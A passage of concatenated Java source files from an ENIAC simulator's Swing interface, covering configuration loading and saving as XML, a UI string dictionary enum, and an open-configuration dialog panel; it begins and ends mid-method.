{\n\t\t// create dialog. Add listener and set content pane\n\t\tfinal JDialog dialog = new JDialog(Progressor.getInstance(), title, true);\n\t\tdialog.addWindowListener(new WindowAdapter() {\n\t\t\tpublic void windowClosing(WindowEvent e) {\n\t\t\t\t((DialogPanel) dialog.getContentPane()).performCancelAction();\n\t\t\t}\n\t\t});\n\t\tdialog.setContentPane(content);\n\n\t\t// bring it to the screen.\n\t\tdialog.pack();\n\t\tdialog.setLocationRelativeTo(Progressor.getInstance());\n\t\tcontent.setWindow(dialog);\n\t\tdialog.setVisible(true);\n\t}\n\n\t/*\n\t * public boolean isPrivileged() { // if we are started as an application,\n\t * we have all privileges if (!isApplet()) { return true; } // check, if we\n\t * already tried to set our SecurityManager if (_privileged != null) {\n\t * return _privileged.booleanValue(); } // This is an applet. Ask for\n\t * priviliges. try { // anonymous security manager granting any permission\n\t * new SecurityManager() { public void checkPermission(Permission\n\t * permission) { // grant any permission }\n\t * \n\t * public void checkPermission(Permission permission, Object obj) { // grant\n\t * any permission } }; // user allowed the signed applet. Set flag.\n\t * _privileged = new Boolean(true); return true; } catch\n\t * (AccessControlException ace) { // User didn't allow the signed applet. //\n\t * Reset flag and display message. // ace.printStackTrace();\n\t * Log.log(LogWords.NO_PRIVILEGES_GRANTED, JOptionPane.INFORMATION_MESSAGE,\n\t * ace.getMessage(), true); _privileged = new Boolean(false); return false;\n\t * } }\n\t */\n\t// indicates whether this program is started as applet or as application.\n\t// private boolean isApplet() {\n\t// return getAppletContext() == null;\n\t// }\n\tpublic void block() {\n\t\tif (Status.LIFECYCLE.getValue() == LifeCycle.RUNNING) {\n\t\t\tStatus.LIFECYCLE.setValue(LifeCycle.BLOCKED);\n\t\t}\n\t}\n\n\tpublic void unblock() {\n\t\tif (Status.LIFECYCLE.getValue() == LifeCycle.BLOCKED) {\n\t\t\tStatus.LIFECYCLE.setValue(LifeCycle.RUNNING);\n\t\t}\n\t}\n\n\t// ============================ io methods //===============================\n\n\t/**\n\t * Opens an <code>inputStream</code> to the specified resource.\n\t * \n\t * @param name\n\t * a <code>string</code> specifying the resource to load\n\t * @return an <code>inputStream</code> if the resource could be found, <br>\n\t * or <code>null</code> otherwise\n\t */\n\tpublic InputStream getResourceAsStream(String name) {\n\t\treturn Manager.class.getClassLoader().getResourceAsStream(name);\n\t}\n\n\tpublic void setIOAccess(boolean ioAccess) {\n\t\t_ioAccess = ioAccess;\n\t}\n\n\tpublic boolean hasIOAccess() {\n\t\treturn _ioAccess;\n\t}\n}", "public class ConfigIO {\n\n\t// private constructor to prevent from initializing this class\n\tprivate ConfigIO() {\n\t\t// empty constructor\n\t}\n\n\t// =========================== public methods\n\t// ===============================\n\n\t/**\n\t * Writes an xml representation of this configuration to a file. If the file\n\t * already exists, the user will be asked if he wants to overwrite.\n\t */\n\tpublic static void write(File file, Configuration config, Proxy proxy) throws IOException {\n\n\t\t// check, if file already exists\n\t\tif (file.exists()) {\n\t\t\t// ask user to confirm overwrite\n\t\t\tint option = JOptionPane.showConfirmDialog(EFrame.getInstance(), file.getName()\n\t\t\t\t\t+ Dictionary.CONFIRM_OVERWRITE_TEXT.getText(), Dictionary.CONFIRM_OVERWRITE_TITLE.getText(),\n\t\t\t\t\tJOptionPane.OK_CANCEL_OPTION);\n\t\t\tif (option == JOptionPane.CANCEL_OPTION) {\n\t\t\t\t// if writing canceled, return\n\t\t\t\treturn;\n\t\t\t}\n\t\t}\n\n\t\t// announce that we are writing the configuration\n\t\tProgressor.getInstance().setText(Dictionary.CONFIGURATION_WRITING.getText());\n\t\tint max = config.getGarten().getAllKinder().length;\n\t\tProgressor.getInstance().setProgress(0, max);\n\n\t\t// collect all tags in a list\n\t\tList<String> list = new LinkedList<>();\n\t\tlist.add(XMLUtil.ENIAC_HEADER);\n\t\tlist.add(XMLUtil.wrapOpenTag(EData.Tag.ENIAC.name().toLowerCase()));\n\t\tproxy.appendTags(list, 1);\n\t\tconfig.appendTags(list, 1);\n\t\tlist.add(XMLUtil.wrapCloseTag(EData.Tag.ENIAC.name().toLowerCase()));\n\n\t\t// convert list to stringbuffer\n\t\tStringBuilder stringBuilder = new StringBuilder();\n\t\tfor (String s : list) {\n\t\t\tstringBuilder.append(s);\n\t\t\tstringBuilder.append('\\n');\n\t\t}\n\n\t\t// write stringbuffer to file.\n\t\tWriter writer = IOUtil.openWriter(file);\n\t\twriter.write(stringBuilder.toString());\n\t\twriter.flush();\n\t\twriter.close();\n\t}\n\n\t/**\n\t * Loads a configuration from the local file system\n\t * \n\t * @param path\n\t * a <code>string</code> containing the configuration's path\n\t */\n\tpublic static void loadConfiguration(String path) {\n\t\tInputStream in = IOUtil.openInputStream(path);\n\t\tloadConfiguration(in);\n\t}\n\n\t/**\n\t * Loads a basic configuration from the classLoader as described by a\n\t * <code>configurationProxy</code>\n\t * \n\t * @param proxy\n\t * the <code>configurationProxy</code> identifying the\n\t * configuration to load.\n\t */\n\tpublic static void loadConfiguration(Proxy proxy) {\n\t\tString path = proxy.getPath();\n\t\tInputStream in = Manager.getInstance().getResourceAsStream(path);\n\t\tloadConfiguration(in);\n\t}\n\n\tpublic static List<Proxy> loadProxies() {\n\t\tString path = getPathWithoutIndex();\n\t\tint max = StringConverter.toInt(EProperties.getInstance().getProperty(\"MAX_NUMBER_OF_CONFIGS\"));\n\t\tString text = Dictionary.CONFIGURATION_SCANNING.getText();\n\t\treturn IOUtil.loadProxies(path, max, text);\n\t}\n\n\tpublic static void loadDefaultConfiguration() {\n\t\tif (EProperties.getInstance().getProperty(\"INDEX_OF_DEFAULT_CONFIG\").startsWith(\"-\")) {\n\n\t\t\t// if no default configuration is given, let user choose one\n\t\t\t(new OpenConfiguration()).run();\n\t\t}\n\t\telse {\n\n\t\t\t// otherwise load configuration as given by default index\n\t\t\tint index = StringConverter.toInt(EProperties.getInstance().getProperty(\"INDEX_OF_DEFAULT_CONFIG\"));\n\t\t\tString path = getPathWithoutIndex();\n\t\t\tString fullPath = IOUtil.addIndex(path, index);\n\t\t\tProxy proxy = IOUtil.loadProxy(fullPath);\n\t\t\tloadConfiguration(proxy);\n\t\t}\n\t}\n\n\t// ========================== private methods\n\t// ===============================\n\n\tprivate static String getPathWithoutIndex() {\n\t\tString folder = EProperties.getInstance().getProperty(\"CONFIG_FOLDER\");\n\t\tString file = EProperties.getInstance().getProperty(\"CONFIG_FILE_WITHOUT_INDEX\");\n\t\treturn folder + \"/\" + file; //$NON-NLS-1$\n\t}\n\n\t// this is called, when loading the configuration failed\n\tprivate static void loadingFailed(String reason) {\n\t\tLog.log(LogWords.COULD_NOT_LOAD_CONFIGURATION, JOptionPane.ERROR_MESSAGE, reason, true);\n\t}\n\n\tprivate static void loadingSucceded(Configuration newConfig) {\n\n\t\t// dispose old configuration object, if there is any\n\t\t// EFrame.getInstance().disposeConfigPanel();\n\t\tObject oldConfig = Status.CONFIGURATION.getValue();\n\t\tStatus.CONFIGURATION.setValue(null);\n\t\tif (oldConfig != null) {\n\t\t\t((Configuration) oldConfig).dispose();\n\t\t}\n\n\t\t// init new configuration object\n\t\tnewConfig.init();\n\n\t\t// there were invalid ids. Display message to user.\n\t\tif (newConfig.getIDManager().hasInvalids()) {\n\t\t\tnewConfig.getIDManager().integrateInvalids();\n\t\t\tLog.log(LogWords.INVALID_IDS_CONTAINED, JOptionPane.INFORMATION_MESSAGE, true);\n\t\t}\n\n\t\t// set new configuration Object as current Configuration\n\t\tStatus.CONFIGURATION.setValue(newConfig);\n\t}\n\n\t// loads a configuration from the given inputStream.\n\tprivate static void loadConfiguration(InputStream in) {\n\n\t\t// check for null\n\t\tif (in == null) {\n\t\t\tloadingFailed(\"Inputstream is null\"); //$NON-NLS-1$\n\t\t\treturn;\n\t\t}\n\n\t\t// create handler\n\t\tConfigHandler handler = new ConfigHandler();\n\n\t\t// parse data tree from xml\n\t\ttry {\n\t\t\tIOUtil.parse(in, handler);\n\t\t\tin.close();\n\t\t} catch (IOException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\n\t\t// check, if parsing was successful\n\t\tConfiguration config = handler.getConfiguration();\n\t\tif (config != null) {\n\t\t\tloadingSucceded(config);\n\t\t}\n\t\telse {\n\t\t\tloadingFailed(\"new configuration is null\"); //$NON-NLS-1$\n\t\t}\n\t}\n}", "public class Proxy extends EnumMap<Proxy.Tag, String> {\n\n\t/**\n\t * Enumeration of all tags that are understood by the proxy handler\n\t * \n\t * @author till\n\t * \n\t * TODO\n\t */\n\tpublic enum Tag {\n\n\t\t/**\n\t\t * the proxy tag. data outside this section will be ignored. Any tag\n\t\t * inside this section shall be registered as enum constant in Proxy.Tag\n\t\t */\n\t\tPROXY,\n\n\t\t/**\n\t\t * the author of a skin\n\t\t */\n\t\tAUTHOR,\n\n\t\t/**\n\t\t * the email address of the author of a skin\n\t\t */\n\t\tEMAIL,\n\n\t\t/**\n\t\t * number of LODs in a skin (should be 2) TODO: refactor, we don't need\n\t\t * it\n\t\t */\n\t\tNUMBER_OF_LODS,\n\n\t\t/**\n\t\t * the number of descriptors in a skin TODO: do we need this any more?\n\t\t */\n\t\tNUMBER_OF_DESCRIPTORS,\n\n\t\t/**\n\t\t * zoom steps for the user to zoom in & out\n\t\t */\n\t\tZOOM_STEPS,\n\n\t\t/**\n\t\t * path to a preview image of the skin\n\t\t */\n\t\tPREVIEW,\n\n\t\t/**\n\t\t * name of a configuration or language\n\t\t */\n\t\tNAME,\n\n\t\t/**\n\t\t * description of the configuration or language\n\t\t */\n\t\tDESCRIPTION,\n\n\t\t/**\n\t\t * string-key of the language, as the 2-letter locale\n\t\t */\n\t\tKEY,\n\t}\n\n\tprivate String _path;\n\n\tpublic Proxy() {\n\t\tsuper(Proxy.Tag.class);\n\t}\n\n\t@Override\n\tpublic String toString() {\n\t\treturn get(Tag.NAME); // need this to be displayed in a jlist\n\t}\n\n\tpublic void setPath(String path) {\n\t\t_path = path;\n\t}\n\n\tpublic String getPath() {\n\t\treturn _path;\n\t}\n\n\tpublic void appendTags(List<String> l, int indent) {\n\n\t\t// append comment line and open tag\n\t\tXMLUtil.appendCommentLine(l, indent, Tag.PROXY.toString());\n\t\tl.add(XMLUtil.TABS[indent] + XMLUtil.wrapOpenTag(Tag.PROXY.toString()));\n\n\t\t// append child tags\n\t\tString tabs = XMLUtil.TABS[indent + 1];\n\t\tfor (Map.Entry<Proxy.Tag, String> entry : entrySet()) {\n\t\t\tString open = XMLUtil.wrapOpenTag(entry.getKey().toString().toLowerCase());\n\t\t\tString close = XMLUtil.wrapCloseTag(entry.getKey().toString().toLowerCase());\n\t\t\tl.add(tabs + open + entry.getValue() + close);\n\t\t}\n\n\t\t// append close tags\n\t\tl.add(XMLUtil.TABS[indent] + XMLUtil.wrapCloseTag(Tag.PROXY.toString()));\n\t}\n}", "public enum Dictionary {\n\n\t/**\n\t * Name of the \"Open-Skin\" command.\n\t */\n\tOPEN_SKIN_NAME,\n\n\t/**\n\t * Short description of the \"Open-Skin\" command.\n\t */\n\tOPEN_SKIN_SHORT,\n\n\t/**\n\t * Name of the \"Open Configuration\" command.\n\t */\n\tOPEN_CONFIGURATION_NAME,\n\n\t/**\n\t * Short description of the \"Open configuration\" command.\n\t */\n\tOPEN_CONFIGURATION_SHORT,\n\n\t/**\n\t * Name of the \"Save Configuration\" command.\n\t */\n\tSAVE_CONFIGURATION_NAME,\n\n\t/**\n\t * Short description of the \"Save configuration\" command.\n\t */\n\tSAVE_CONFIGURATION_SHORT,\n\n\t/**\n\t * Name of the \"Zoom in\" command.\n\t */\n\tZOOM_IN_NAME,\n\n\t/**\n\t * Short description of the \"Zoom in\" command.\n\t */\n\tZOOM_IN_SHORT,\n\n\t/**\n\t * Name of the \"Zoom out\" command.\n\t */\n\tZOOM_OUT_NAME,\n\n\t/**\n\t * Short description of the \"Zoom out\" command.\n\t */\n\tZOOM_OUT_SHORT,\n\n\t/**\n\t * Title of the \"Confirm overwrite\" dialog.\n\t */\n\tCONFIRM_OVERWRITE_TITLE,\n\n\t/**\n\t * Text at the \"Confirm overwrite\" dialog.\n\t */\n\tCONFIRM_OVERWRITE_TEXT,\n\n\t/**\n\t * Name of the \"Change Language\" command.\n\t */\n\tCHANGE_LANGUAGE_NAME,\n\n\t/**\n\t * Short description of the \"Change Language\" command.\n\t */\n\tCHANGE_LANGUAGE_SHORT,\n\n\t/**\n\t * Name of the \"Show log-window\" dialog.\n\t */\n\tSHOW_LOG_NAME,\n\n\t/**\n\t * Short description of the \"Show log-window\" command.\n\t */\n\tSHOW_LOG_SHORT,\n\n\t/**\n\t * Name of the \"Show Overview-window\" command.\n\t */\n\tSHOW_OVERVIEW_NAME,\n\n\t/**\n\t * Short description of the \"Show Overview-window\" command.\n\t */\n\tSHOW_OVERVIEW_SHORT,\n\n\t/**\n\t * Name of the \"Fit zoom to height\" command.\n\t */\n\tZOOM_FIT_HEIGHT_NAME,\n\n\t/**\n\t * Short description of the \"Fit zoom to height\" command.\n\t */\n\tZOOM_FIT_HEIGHT_SHORT,\n\n\t/**\n\t * Name of the \"Fit zoom to width\" command.\n\t */\n\tZOOM_FIT_WIDTH_NAME,\n\n\t/**\n\t * Short description of the \"Fit zoom to width\" command.\n\t */\n\tZOOM_FIT_WIDTH_SHORT,\n\n\t/**\n\t * Text at the \"Open configuration\" dialog.\n\t */\n\tCHOOSE_WEB_LOCATION,\n\n\t/**\n\t * Text at the \"Open configuration\" dialog.\n\t */\n\tCHOOSE_FILE,\n\n\t/**\n\t * Text at the \"Open configuration\" dialog.\n\t */\n\tLOAD_FROM_FILE,\n\n\t/**\n\t * The word for \"value\".\n\t */\n\tVALUE,\n\n\t/**\n\t * Title of the Main-frame.\n\t */\n\tMAIN_FRAME_TITLE,\n\n\t/**\n\t * Title of the Overview-window.\n\t */\n\tOVERVIEW_WINDOW_TITLE,\n\n\t/**\n\t * Title of the \"Log window\".\n\t */\n\tLOG_WINDOW_TITLE,\n\n\t/**\n\t * The word for \"properties\".\n\t */\n\tPROPERTIES,\n\n\t/**\n\t * The word for \"ok\".\n\t */\n\tOK,\n\n\t/**\n\t * The word for \"cancel\".\n\t */\n\tCANCEL,\n\n\t/**\n\t * Message in the blocking-dialog that we are scanning for configurations.\n\t */\n\tCONFIGURATION_SCANNING,\n\n\t/**\n\t * Description of the file filter at File-Chooser-Dialogs.\n\t */\n\tFILE_FILTER_DESCRIPTION,\n\n\t/**\n\t * Message in the blocking-dialog that we are loading a dictionary.\n\t */\n\tDICTIONARY_LOADING,\n\n\t/**\n\t * Message in the blocking-dialog that we are scanning for Dictionaries.\n\t */\n\tDICTIONARY_SCANNING,\n\n\t/**\n\t * Message in the blocking-dialog that we are loading the menu.\n\t */\n\tMENU_LOADING,\n\n\t/**\n\t * Message in the blocking-dialog that we are scanning for skin files.\n\t */\n\tSKIN_SCANNING,\n\n\t/**\n\t * Message in the blocking-dialog that we are loading a skin file.\n\t */\n\tSKIN_LOADING,\n\n\t/**\n\t * Polite busy message.\n\t */\n\tPLEASE_WAIT,\n\n\t/**\n\t * Title of the \"Save Configuration\" dialog.\n\t */\n\tSAVE_CONFIGURATION_TITLE,\n\n\t/**\n\t * The word for \"write\".\n\t */\n\tWRITE,\n\n\t/**\n\t * The word for \"next\".\n\t */\n\tNEXT,\n\n\t/**\n\t * Enter details before saving a configuration.\n\t */\n\tENTER_DETAILS,\n\n\t/**\n\t * The word for \"name\".\n\t */\n\tNAME,\n\n\t/**\n\t * The word for \"description\".\n\t */\n\tDESCRIPTION,\n\n\t/**\n\t * The title of the (floating) toolbar.\n\t */\n\tTOOLBAR_TITLE,\n\n\t/**\n\t * The word for \"file\".\n\t */\n\tFILE,\n\n\t/**\n\t * The word for \"window\" (not: windows).\n\t */\n\tWINDOW,\n\n\t/**\n\t * The word for \"view\".\n\t */\n\tVIEW,\n\n\t/**\n\t * The word for \"zoom\".\n\t */\n\tZOOM,\n\n\t/**\n\t * The word for \"help\".\n\t */\n\tHELP,\n\n\t/**\n\t * The name of the \"Hightlight pule\" command.\n\t */\n\tHIGHLIGHT_PULSE_NAME,\n\n\t/**\n\t * Short description of the \"Highlight pulse\" command.\n\t */\n\tHIGHLIGHT_PULSE_SHORT,\n\n\t/**\n\t * Name of the \"About this program\" command.\n\t */\n\tABOUT_NAME,\n\n\t/**\n\t * Short description of the \"About this program\" command.\n\t */\n\tABOUT_SHORT,\n\n\t/**\n\t * Text of the \"About this program\" dialog.\n\t */\n\tABOUT_TEXT,\n\n\t/**\n\t * Name of the \"faq\" command.\n\t */\n\tFAQ_NAME,\n\n\t/**\n\t * Short description of the \"faq\" command.\n\t */\n\tFAQ_SHORT,\n\n\t/**\n\t * Text of the \"faq\" dialog.\n\t */\n\tFAQ_TEXT,\n\n\t/**\n\t * Name of the \"settings\" command.\n\t */\n\tSETTINGS_NAME,\n\n\t/**\n\t * Short description of the \"settings\" command.\n\t */\n\tSETTINGS_SHORT,\n\n\t/**\n\t * Text at the \"save settings\" dialog.\n\t */\n\tSAVE_SETTINGS_TEXT,\n\n\t/**\n\t * Title of the \"Save settings\" dialog.\n\t */\n\tSAVE_SETTINGS_TITLE,\n\n\t/**\n\t * Message in the blocking-dialog that we are initializing.\n\t */\n\tINITIALIZING,\n\n\t/**\n\t * Message in the blocking-dialog that we are loading a configuration.\n\t */\n\tCONFIGURATION_LOADING,\n\n\t/**\n\t * Message in the blocking-dialog that we are writing a configuration.\n\t */\n\tCONFIGURATION_WRITING;\n\n\t/**\n\t * Looks for the words associated with the given key. If the key is invalid,\n\t * the key itself is returned.\n\t * \n\t * @param sid\n\t * a <code>string</code> to identify the words we are looking\n\t * for.\n\t * @return the value of the static field with the uppercased name of 'key'\n\t * or the value of key itself, if there is no field.\n\t */\n\n\tprivate EnumMap<Dictionary, String> _map = null;\n\n\tpublic void checkInit() {\n\n\t\t// if already initialized, just return.\n\t\tif (_map != null) {\n\t\t\treturn;\n\t\t}\n\n\t\t// create new dictionary map\n\t\t_map = new EnumMap<>(Dictionary.class);\n\n\t\t// Init special fields with predefined values. These are those words\n\t\t// displayed before the language data is loaded.\n\t\t_map.put(INITIALIZING, \"Eniac simulation is starting up. Please wait.\"); //$NON-NLS-1$\n\t\t_map.put(DICTIONARY_LOADING, \"loading language file\"); //$NON-NLS-1$\n\t\t_map.put(DICTIONARY_SCANNING, \"scanning for language files\"); //$NON-NLS-1$\n\t\t_map.put(PLEASE_WAIT, \"Please wait\"); //$NON-NLS-1$\n\t}\n\n\tpublic String getText() {\n\t\tcheckInit();\n\t\treturn _map.get(this);\n\t}\n\n\tpublic void setText(String text) {\n\t\tcheckInit();\n\t\t_map.put(this, text);\n\t}\n\n\tpublic enum Tag {\n\t\tENTRY, KEY\n\t}\n\n//\n// try {\n// Field field = Dictionary.class.getField(sid.toUpperCase());\n// return (String) field.get(null);\n// } catch (Exception e) {\n// // unknown key. return key as value.\n// // TODO: log this\n// return sid;\n// }\n// }\n\n}", "public class OpenConfigurationPanel extends DialogPanel {\n\n\t/**\n\t * no configuration selected by the user\n\t */\n\tpublic static final short NO_CONFIGURATION = 0;\n\n\t/**\n\t * basic configuration type, so available as resource from the classloader\n\t */\n\tpublic static final short BASIC = 1;\n\n\t/**\n\t * local configuration type, so available from local file system\n\t */\n\tpublic static final short LOCAL = 2;\n\n\t// configurationProxies the user can choose from\n\tprivate List<Proxy> _proxies;\n\n\t// data for the users input-result.\n\tprivate short _configurationType = NO_CONFIGURATION;\n\n\tprivate Proxy _selectedProxy = null;\n\n\tprivate String _canonicalPath = null;\n\n\t// components\n\tprivate ButtonGroup _buttonGroup;\n\n\tprivate JRadioButton _radioButton1;\n\n\tprivate JRadioButton _radioButton2;\n\n\tprivate JPanel _jpanel1;\n\n\tprivate JPanel _jpanel2;\n\n\t// jpanel1 subcomponents\n\tprivate JList<Proxy> _jlist;\n\n\tprivate JScrollPane _listPane;\n\n\tprivate JTextArea _textArea;\n\n\tprivate JScrollPane _textPane;\n\n\t// jpanel2 subcomponents\n\tprivate JTextField _jtextField;\n\n\t// Actions\n\tprivate Action _cancelAction;\n\n\tprivate Action _okAction;\n\n\tprivate Action _fileChooserAction;\n\n\tpublic OpenConfigurationPanel(List<Proxy> proxies) {\n\t\tsuper(new GridBagLayout());\n\t\t_proxies = proxies;\n\t}\n\n\t/**\n\t * Initializes this openConfigurationPanel\n\t */\n\tpublic void init() {\n\n\t\t// ========================= actions //=================================\n\n\t\t// create and add okAction\n\t\t_okAction = new AbstractAction() {\n\t\t\tpublic void actionPerformed(ActionEvent e) {\n\t\t\t\tperformOkAction();\n\t\t\t}\n\t\t};\n\t\t_okAction.putValue(Action.NAME, Dictionary.OK.getText());\n\t\tgetActionMap().put(_okAction.getValue(Action.NAME), _okAction);\n\n\t\t// create and add cancelAction\n\t\t_cancelAction = new AbstractAction() {\n\t\t\tpublic void actionPerformed(ActionEvent e) {\n\t\t\t\tperformCancelAction();\n\t\t\t}\n\t\t};\n\t\t_cancelAction.putValue(Action.NAME, Dictionary.CANCEL.getText());\n\t\tgetActionMap().put(_cancelAction.getValue(Action.NAME), _cancelAction);\n\n\t\t// create and add filechooserAction\n\t\t_fileChooserAction = new AbstractAction() {\n\t\t\tpublic void actionPerformed(ActionEvent e) {\n\t\t\t\tperformFilechooserAction();\n\t\t\t}\n\t\t};\n\t\t_fileChooserAction.putValue(Action.NAME, \"...\"); //$NON-NLS-1$\n\t\t_fileChooserAction.putValue(Action.SHORT_DESCRIPTION, Dictionary.CHOOSE_FILE.getText());\n\t\tgetActionMap().put(_fileChooserAction.getValue(Action.NAME), _fileChooserAction);\n\n\t\t// =========================== jpanel1 //===============================\n\n\t\t// create and init _jlist and _listPane\n\t\t_jlist = new JList<>(new Vector<>(_proxies));\n\t\t_jlist.setSelectionMode(ListSelectionModel.SINGLE_SELECTION);\n\t\t_listPane = new JScrollPane(_jlist);\n\n\t\t// add mouseListener to _jlist for receiving double-clicks\n\t\t_jlist.addMouseListener(new MouseAdapter() {\n\t\t\tpublic void mouseClicked(MouseEvent e) {\n\t\t\t\tif (e.getClickCount() == 2) {\n\t\t\t\t\tperformOkAction();\n\t\t\t\t}\n\t\t\t}\n\t\t});\n\n\t\t// add itemListener to _jlist for to display description-text\n\t\t_jlist.addListSelectionListener(new ListSelectionListener() {\n\t\t\tpublic void valueChanged(ListSelectionEvent e) {\n\t\t\t\tperformUpdate();\n\t\t\t}\n\t\t});\n\n\t\t// create and init _textArea and _textPane\n\t\t_textArea = new JTextArea(StringConverter.toInt(EProperties.getInstance().getProperty(\"TEXT_AREA_ROWS\")),\n\t\t\t\tStringConverter.toInt(EProperties.getInstance().getProperty(\"TEXT_AREA_COLUMNS\")));\n\t\t_textArea.setEditable(false);\n\t\t_textPane = new JScrollPane(_textArea);\n\n\t\t// create and init radioButtons and buttonGroup\n\t\t_radioButton1 = new JRadioButton();\n\t\t_radioButton2 = new JRadioButton();\n\t\t_buttonGroup = new ButtonGroup();\n\t\t_buttonGroup.add(_radioButton1);\n\t\t_buttonGroup.add(_radioButton2);\n\t\t_radioButton1.addItemListener(new ItemListener() {\n\t\t\tpublic void itemStateChanged(ItemEvent e) {\n\t\t\t\tperformUpdate();\n\t\t\t}\n\t\t});\n\t\t_radioButton2.addItemListener(new ItemListener() {\n\t\t\tpublic void itemStateChanged(ItemEvent e) {\n\t\t\t\tperformUpdate();\n\t\t\t}\n\t\t});\n\n\t\t// init jpanel1\n\t\t_jpanel1 = new JPanel(new GridBagLayout());\n\t\t_jpanel1.setBorder(BorderFactory.createTitledBorder(Dictionary.CHOOSE_WEB_LOCATION.getText()));\n\n\t\t// add components\n\t\t_jpanel1.add(_listPane, new GridBagConstraints(0, 0, 1, 1, 1.0, 0.5, GridBagConstraints.CENTER,\n\t\t\t\tGridBagConstraints.BOTH, new Insets(0, 0, 0, 0), 0, 0));\n\t\t_jpanel1.add(_textPane, new GridBagConstraints(1, 0, 1, 1, 1.0, 0.5, GridBagConstraints.CENTER,\n\t\t\t\tGridBagConstraints.BOTH, new Insets(0, 0, 0, 0), 0, 0));\n\n\t\t// add jradiobutton1 and jpanel1\n\t\tadd(_radioButton1, new GridBagConstraints(0, 0, 1, 1, 0.0, 0.0, GridBagConstraints.CENTER,\n\t\t\t\tGridBagConstraints.NONE, new Insets(0, 0, 0, 0), 0, 0));\n\t\tadd(_jpanel1, new GridBagConstraints(1, 0, 2, 1, 1.0, 1.0, GridBagConstraints.CENTER, GridBagConstraints.BOTH,\n\t\t\t\tnew Insets(0, 0, 0, 0), 0, 0));\n\n\t\t// ============================= jpanel2 //=============================\n\n\t\t// init jpanel1\n\t\t_jpanel2 = new JPanel(new GridBagLayout());\n\t\t_jpanel2.setBorder(BorderFactory.createTitledBorder(Dictionary.LOAD_FROM_FILE.getText()));\n\n\t\t// create and init jtextfield\n\t\t_jtextField = new JTextField(20);\n\n\t\t// create and init fileChooserButton\n\t\tJButton fileChooserButton = new JButton(_fileChooserAction);\n\n\t\t// add components\n\t\t_jpanel2.add(_jtextField, new GridBagConstraints(0, 0, 1, 1, 1.0, 0.0, GridBagConstraints.CENTER,\n\t\t\t\tGridBagConstraints.BOTH, new Insets(0, 0, 0, 0), 0, 0));\n\t\t_jpanel2.add(fileChooserButton, new GridBagConstraints(1, 0, 1, 1, 0.0, 0.0, GridBagConstraints.CENTER,\n\t\t\t\tGridBagConstraints.NONE, new Insets(0, 0, 0, 0), 0, 0));\n\n\t\t// add jradiobutton2 and jpanel1\n\t\tadd(_radioButton2, new GridBagConstraints(0, 1, 1, 1, 0.0, 0.0, GridBagConstraints.CENTER,\n\t\t\t\tGridBagConstraints.NONE, new Insets(0, 0, 0, 0), 0, 0));\n\t\tadd(_jpanel2, new GridBagConstraints(1, 1, 2, 1, 1.0, 0.0, GridBagConstraints.CENTER,\n\t\t\t\tGridBagConstraints.HORIZONTAL, new Insets(0, 0, 0, 0), 0, 0));\n\n\t\t// ============================ buttons //==============================\n\n\t\t// create and init buttons\n\t\tJButton okButton = new JButton(_okAction);\n\t\tJButton cancelButton = new JButton(_cancelAction);\n\n\t\t// layout components\n\t\tadd(okButton, new GridBagConstraints(0, 2, 2, 1, 1.0, 0.0, GridBagConstraints.CENTER,\n\t\t\t\tGridBagConstraints.HORIZONTAL, new Insets(0, 0, 0, 0), 0, 0));\n\t\tadd(cancelButton, new GridBagConstraints(2, 2, 1, 1, 1.0, 0.0, GridBagConstraints.CENTER,\n\t\t\t\tGridBagConstraints.HORIZONTAL, new Insets(0, 0, 0, 0), 0, 0));\n\n\t\t// init selection state\n\t\t_radioButton1.setSelected(true);\n\n\t\t// enable radiobutton2 according to our privileges\n\t\t_radioButton2.setEnabled(Manager.getInstance().hasIOAccess());\n\n\t\t// ============================ add keystrokes //=======================\n\n\t\t// fill actionMap\n\t\tgetActionMap().put(_okAction.getValue(Action.NAME), _okAction);\n\t\tgetActionMap().put(_cancelAction.getValue(Action.NAME), _cancelAction);\n\t\tgetActionMap().put(_fileChooserAction.getValue(Action.NAME), _fileChooserAction);\n\n\t\t// fill inputMap\n\t\tgetInputMap(WHEN_ANCESTOR_OF_FOCUSED_COMPONENT).put(KeyStroke.getKeyStroke(KeyEvent.VK_ENTER, 0),\n\t\t\t\t_okAction.getValue(Action.NAME));\n\t\tgetInputMap(WHEN_ANCESTOR_OF_FOCUSED_COMPONENT).put(KeyStroke.getKeyStroke(KeyEvent.VK_ESCAPE, 0),\n\t\t\t\t_cancelAction.getValue(Action.NAME));\n\t\tgetInputMap(WHEN_ANCESTOR_OF_FOCUSED_COMPONENT).put(KeyStroke.getKeyStroke('.'),\n\t\t\t\t_fileChooserAction.getValue(Action.NAME));\n\n\t\t// adjust inputMaps of buttons\n\t\tcancelButton.getActionMap().setParent(getActionMap());\n\t\tfileChooserButton.getActionMap().setParent(getActionMap());\n\t\tcancelButton.getInputMap(WHEN_FOCUSED).put(KeyStroke.getKeyStroke(KeyEvent.VK_ENTER, 0),\n\t\t\t\t_cancelAction.getValue(Action.NAME));\n\t\tfileChooserButton.getInputMap(WHEN_FOCUSED).put(KeyStroke.getKeyStroke(KeyEvent.VK_ENTER, 0),\n\t\t\t\t_fileChooserAction.getValue(Action.NAME));\n\t}\n\n\t// this is called, when the panel already was added to the dialog.\n\t// so we can set our selection here.\n\t// note: if set selection without having a window as ancestor,\n\t// there will be a NuPoExc\n\tpublic void setWindow(Window window) {\n\t\tsuper.setWindow(window);\n\n\t\t// preselect first configuration\n\t\tif (_proxies.size() > 0) {\n\t\t\t_jlist.setSelectedIndex(0);\n\t\t}\n\t}\n\n\t/*\n\t * (non-Javadoc)\n\t * \n\t * @see javax.swing.JComponent#getPreferredSize()\n\t */\n\tpublic Dimension getPreferredSize() {\n\t\treturn StringConverter.toDimension(EProperties.getInstance().getProperty(\"OPEN_CONFIGURATION_PANEL_SIZE\"));\n\t}\n\n\t// ================ methods for getting the input result //=================\n\n\tpublic short getConfiguraionType() {\n\t\treturn _configurationType;\n\t}\n\n\tpublic Proxy getProxy() {\n\t\treturn _selectedProxy;\n\t}\n\n\tpublic String getCanonicalPath() {\n\t\treturn _canonicalPath;\n\t}\n\n\t// ======================== event processing //=============================\n\n\tvoid performUpdate() {\n\n\t\t// enable or disable components\n\t\t_jlist.setEnabled(_radioButton1.isSelected());\n\t\t_textArea.setEnabled(_radioButton1.isSelected());\n\t\t_jtextField.setEnabled(_radioButton2.isSelected());\n\t\t_fileChooserAction.setEnabled(_radioButton2.isSelected());\n\n\t\t// set description text to textarea\n\t\tProxy proxy = _jlist.getSelectedValue();\n\t\tif (proxy == null) {\n\t\t\t_textArea.setText(\"\"); //$NON-NLS-1$\n\t\t}\n\t\telse 